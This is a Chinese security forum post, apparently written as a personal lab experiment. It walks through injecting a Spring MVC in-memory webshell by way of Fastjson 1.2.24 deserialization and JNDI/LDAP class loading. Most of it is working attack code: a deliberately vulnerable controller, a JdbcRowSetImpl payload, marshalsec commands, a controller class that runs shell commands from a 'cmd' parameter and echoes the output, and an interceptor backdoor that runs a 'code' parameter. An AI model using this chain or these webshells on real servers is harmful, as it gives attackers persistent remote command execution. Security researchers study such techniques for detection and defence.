安全矩阵

 找回密码
 立即注册
搜索
查看: 3586|回复: 0

利用Fastjson注入Spring内存马

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-10 17:16:53 | 显示全部楼层 |阅读模式
原文链接:利用Fastjson注入Spring内存马

利用Fastjson注入Spring内存马此篇文章在于记录自己对spring内存马的实验研究
一、环境搭建搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller内存马。
1)组件版本:
fastjson: 1.2.24
spring-mvc: 4.3.28.RELEASE
JDK: 8u121
2)搭建springMVC+fastjson漏洞环境
可以参考网上的入门文章进行搭建,这里我放出我自己环境的配置文件
web.xml
  1. <servlet>
  2.     <servlet-name>SpringMVC</servlet-name>
  3.     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
  4.     <!--配置springmvc.xml的路径-->
  5.     <init-param>
  6.       <param-name>contextConfigLocation</param-name>
  7.       <param-value>classpath:springmvc.xml</param-value>
  8.     </init-param>
  9.   </servlet>
  10.   <servlet-mapping>
  11.     <servlet-name>SpringMVC</servlet-name>
  12.     <url-pattern>/</url-pattern>
  13.   </servlet-mapping>
  14. </web-app>
复制代码


springmvc.xml
  1. <!--将AnnotationHandler自动扫描到IOC容器中-->
  2.     <context:component-scan base-package="test.controller"></context:component-scan>

  3.     <mvc:annotation-driven/>

  4.     <!--配置视图解析器-->
  5.     <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
  6.         <!--配置前缀-->
  7.         <property name="prefix" value="/"></property>
  8.         <!--配置后缀-->
  9.         <property name="suffix" value=".jsp"></property>
  10.     </bean>

  11. </beans>
复制代码


HelloController
  1. @Controller
  2. public class HelloController {
  3.     @ResponseBody
  4.     @RequestMapping(value = "/hello", method = RequestMethod.POST)
  5.     public Object hello(@RequestParam("code")String code) throws Exception {
  6.         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  7.         System.out.println(code);
  8.         Object object = JSON.parse(code);
  9.         return code + "->JSON.parseObject()->" + object;
  10.     }
  11. }
复制代码


pom.xml
  1. <dependency>
  2.   <groupId>com.alibaba</groupId>
  3.   <artifactId>fastjson</artifactId>
  4.   <version>1.2.24</version>
  5. </dependency>

  6. <dependency>
  7.   <groupId>junit</groupId>
  8.   <artifactId>junit</artifactId>
  9.   <version>4.11</version>
  10.   <scope>test</scope>
  11. </dependency>
  12. <!--SpringMVC依赖-->
  13. <dependency>
  14.   <groupId>org.springframework</groupId>
  15.   <artifactId>spring-webmvc</artifactId>
  16.   <version>4.3.28.RELEASE</version>
  17. </dependency>
复制代码


二、动态注册controller在springMVC中,也可以在服务器程序启动后,利用某种方式实现动态加载controller。
1)获取上下文在LandGrey文章中介绍了四种方法,分别是
方式一:getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
方法二:WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
方法三:RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
方法四:getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
而对于获取上下文来说,推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例
2)注册controller使用registerMapping方法来动态注册我们的恶意controller
  1. // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  2. RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
  3. // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
  4. Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
  5. // 3. 定义访问 controller 的 URL 地址
  6. PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
  7. // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  8. RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  9. // 5. 在内存中动态注册 controller
  10. RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  11. r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
复制代码


除了使用registerMapping方法注册controller外,还有其余的方式可以参考https://landgrey.me/blog/12/
三、内存马以下是大佬的内存马,接下来进行一个改动,使之能进行回显
  1. import org.springframework.web.context.WebApplicationContext;
  2. import org.springframework.web.context.request.RequestContextHolder;
  3. import org.springframework.web.context.request.ServletRequestAttributes;
  4. import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
  5. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  6. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  7. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  8. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  9. import javax.servlet.http.HttpServletRequest;
  10. import javax.servlet.http.HttpServletResponse;
  11. import java.io.IOException;
  12. import java.lang.reflect.Field;
  13. import java.lang.reflect.InvocationTargetException;
  14. import java.lang.reflect.Method;
  15. import java.util.ArrayList;
  16. import java.util.Iterator;
  17. import java.util.List;
  18. import java.util.Map;

  19. public class InjectToController {
  20.     // 第一个构造函数
  21.     public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
  22.         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  23.         // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  24.         RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

  25.         // 2. 通过反射获得自定义 controller 中test的 Method 对象
  26.         Method method2 = InjectToController.class.getMethod("test");
  27.         // 3. 定义访问 controller 的 URL 地址
  28.         PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
  29.         // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  30.         RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  31.         // 5. 在内存中动态注册 controller
  32.         RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  33.         // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
  34.         InjectToController injectToController = new InjectToController("aaa");
  35.         mappingHandlerMapping.registerMapping(info, injectToController, method2);
  36.     }
  37.     // 第二个构造函数
  38.     public InjectToController(String aaa) {}
  39.     // controller指定的处理方法
  40.     public void test() throws  IOException{
  41.         // 获取request和response对象
  42.         HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  43.         HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
  44.         // 获取cmd参数并执行命令
  45.         java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
  46.     }
  47. }
复制代码


修改回显把test代码中的内容替换为以下
  1. // 获取request和response对象
  2. HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  3. HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

  4. //exec
  5. try {
  6.     String arg0 = request.getParameter("cmd");
  7.     PrintWriter writer = response.getWriter();
  8.     if (arg0 != null) {
  9.         String o = "";
  10.         java.lang.ProcessBuilder p;
  11.         if(System.getProperty("os.name").toLowerCase().contains("win")){
  12.             p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
  13.         }else{
  14.             p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
  15.         }
  16.         java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
  17.         o = c.hasNext() ? c.next(): o;
  18.         c.close();
  19.         writer.write(o);
  20.         writer.flush();
  21.         writer.close();
  22.     }else{
  23.         //当请求没有携带指定的参数(code)时,返回 404 错误
  24.         response.sendError(404);
  25.     }
  26. }catch (Exception e){}
复制代码


最终内存马
  1. import org.springframework.web.context.WebApplicationContext;
  2. import org.springframework.web.context.request.RequestContextHolder;
  3. import org.springframework.web.context.request.ServletRequestAttributes;
  4. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  5. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  6. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  7. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
  8. import javax.servlet.http.HttpServletRequest;
  9. import javax.servlet.http.HttpServletResponse;
  10. import java.io.IOException;
  11. import java.io.PrintWriter;
  12. import java.lang.reflect.InvocationTargetException;
  13. import java.lang.reflect.Method;

  14. public class InjectToController {
  15.     // 第一个构造函数
  16.     public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
  17.         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  18.         // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
  19.         RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  20.         // 2. 通过反射获得自定义 controller 中test的 Method 对象
  21.         Method method2 = InjectToController.class.getMethod("test");
  22.         // 3. 定义访问 controller 的 URL 地址
  23.         PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
  24.         // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
  25.         RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  26.         // 5. 在内存中动态注册 controller
  27.         RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  28.         // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
  29.         InjectToController injectToController = new InjectToController("aaa");
  30.         mappingHandlerMapping.registerMapping(info, injectToController, method2);
  31.     }
  32.     // 第二个构造函数
  33.     public InjectToController(String aaa) {}
  34.     // controller指定的处理方法
  35.     public void test() throws  IOException{
  36.         // 获取request和response对象
  37.         HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  38.         HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

  39.         //exec
  40.         try {
  41.             String arg0 = request.getParameter("cmd");
  42.             PrintWriter writer = response.getWriter();
  43.             if (arg0 != null) {
  44.                 String o = "";
  45.                 java.lang.ProcessBuilder p;
  46.                 if(System.getProperty("os.name").toLowerCase().contains("win")){
  47.                     p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
  48.                 }else{
  49.                     p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
  50.                 }
  51.                 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
  52.                 o = c.hasNext() ? c.next(): o;
  53.                 c.close();
  54.                 writer.write(o);
  55.                 writer.flush();
  56.                 writer.close();
  57.             }else{
  58.                 //当请求没有携带指定的参数(code)时,返回 404 错误
  59.                 response.sendError(404);
  60.             }
  61.         }catch (Exception e){}
  62.     }
  63. }
复制代码


四、测试fastjson<=1.2.24的 payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}
1)启动本地http服务,绑定端口8888
python3 -m http.server 8888

2)利用marshalsec启动LDAP服务,绑定端口9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

3)访问存在fastjson反序列化的页面,http://localhost:8080/hello
发送payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}成功写入内存马

踩坑在实验过程中,我发现主要有两个比较难解决的点,导致实验难以继续
1.怎么编译恶意class文件
可以看到,一个恶意类是有大量的依赖,如果直接采用javac编译会报错
  1. -》javac InjectToController.java
  2. InjectToController.java:16: 错误: 编码GBK的不可映射字符
  3.     // 绗竴涓瀯閫犲嚱鏁?
  4.                  ^
  5. InjectToController.java:19: 错误: 编码GBK的不可映射字符
  6.         // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
  7.                               ^
  8. InjectToController.java:19: 错误: 编码GBK的不可映射字符
  9.         // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
  10.                                                                  ^
复制代码

                                                                 ^
这时候可以利用idea自带的编译特性,先运行项目,然后在其项目的target目录中寻找编译后的class文件即可

2.可以弹出计算器,却无法注入内存马
直接进行debug后发现,在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常


原因在于springmvc.xml文件中,没有开启<mvc:annotation-driven/>选项。
<mvc:annotation-driven/> 是为 MVC 提供额外的支持,参考 Spring 的官方文档,<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping(实现为 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(实现为 AnnotationMethodHandlerAdapter) 两个类型的 Bean,这两个 Bean 为 @Controllers(所有控制器) 提供转发请求的功能。
而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。
五、后记Interceptor内存马
  1. import org.springframework.web.context.WebApplicationContext;
  2. import org.springframework.web.context.request.RequestContextHolder;
  3. import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. public class TestInterceptor extends HandlerInterceptorAdapter {
  7.     public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
  8.         // 获取context
  9.         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  10.         // 从context中获取AbstractHandlerMapping的实例对象
  11.         org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
  12.         // 反射获取adaptedInterceptors属性
  13.         java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  14.         field.setAccessible(true);
  15.         java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
  16.         // 避免重复添加
  17.         for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
  18.             if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
  19.                 System.out.println("已经添加过TestInterceptor实例了");
  20.                 return;
  21.             }
  22.         }
  23.         TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环
  24.         adaptedInterceptors.add(aaa);  //  添加全局interceptor
  25.     }

  26.     private TestInterceptor(String aaa){}

  27.     @Override
  28.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  29.         String code = request.getParameter("code");
  30.         // 不干扰正常业务逻辑
  31.         if (code != null) {
  32.             java.lang.Runtime.getRuntime().exec(code);
  33.             return true;
  34.         }
  35.         else {
  36.             return true;
  37.         }}}
复制代码



注册效果:

六、参考https://landgrey.me/blog/12/
https://www.cnblogs.com/bitterz/p/14820898.html
https://www.cnblogs.com/bitterz/p/14859766.html


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 01:55 , Processed in 0.018036 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表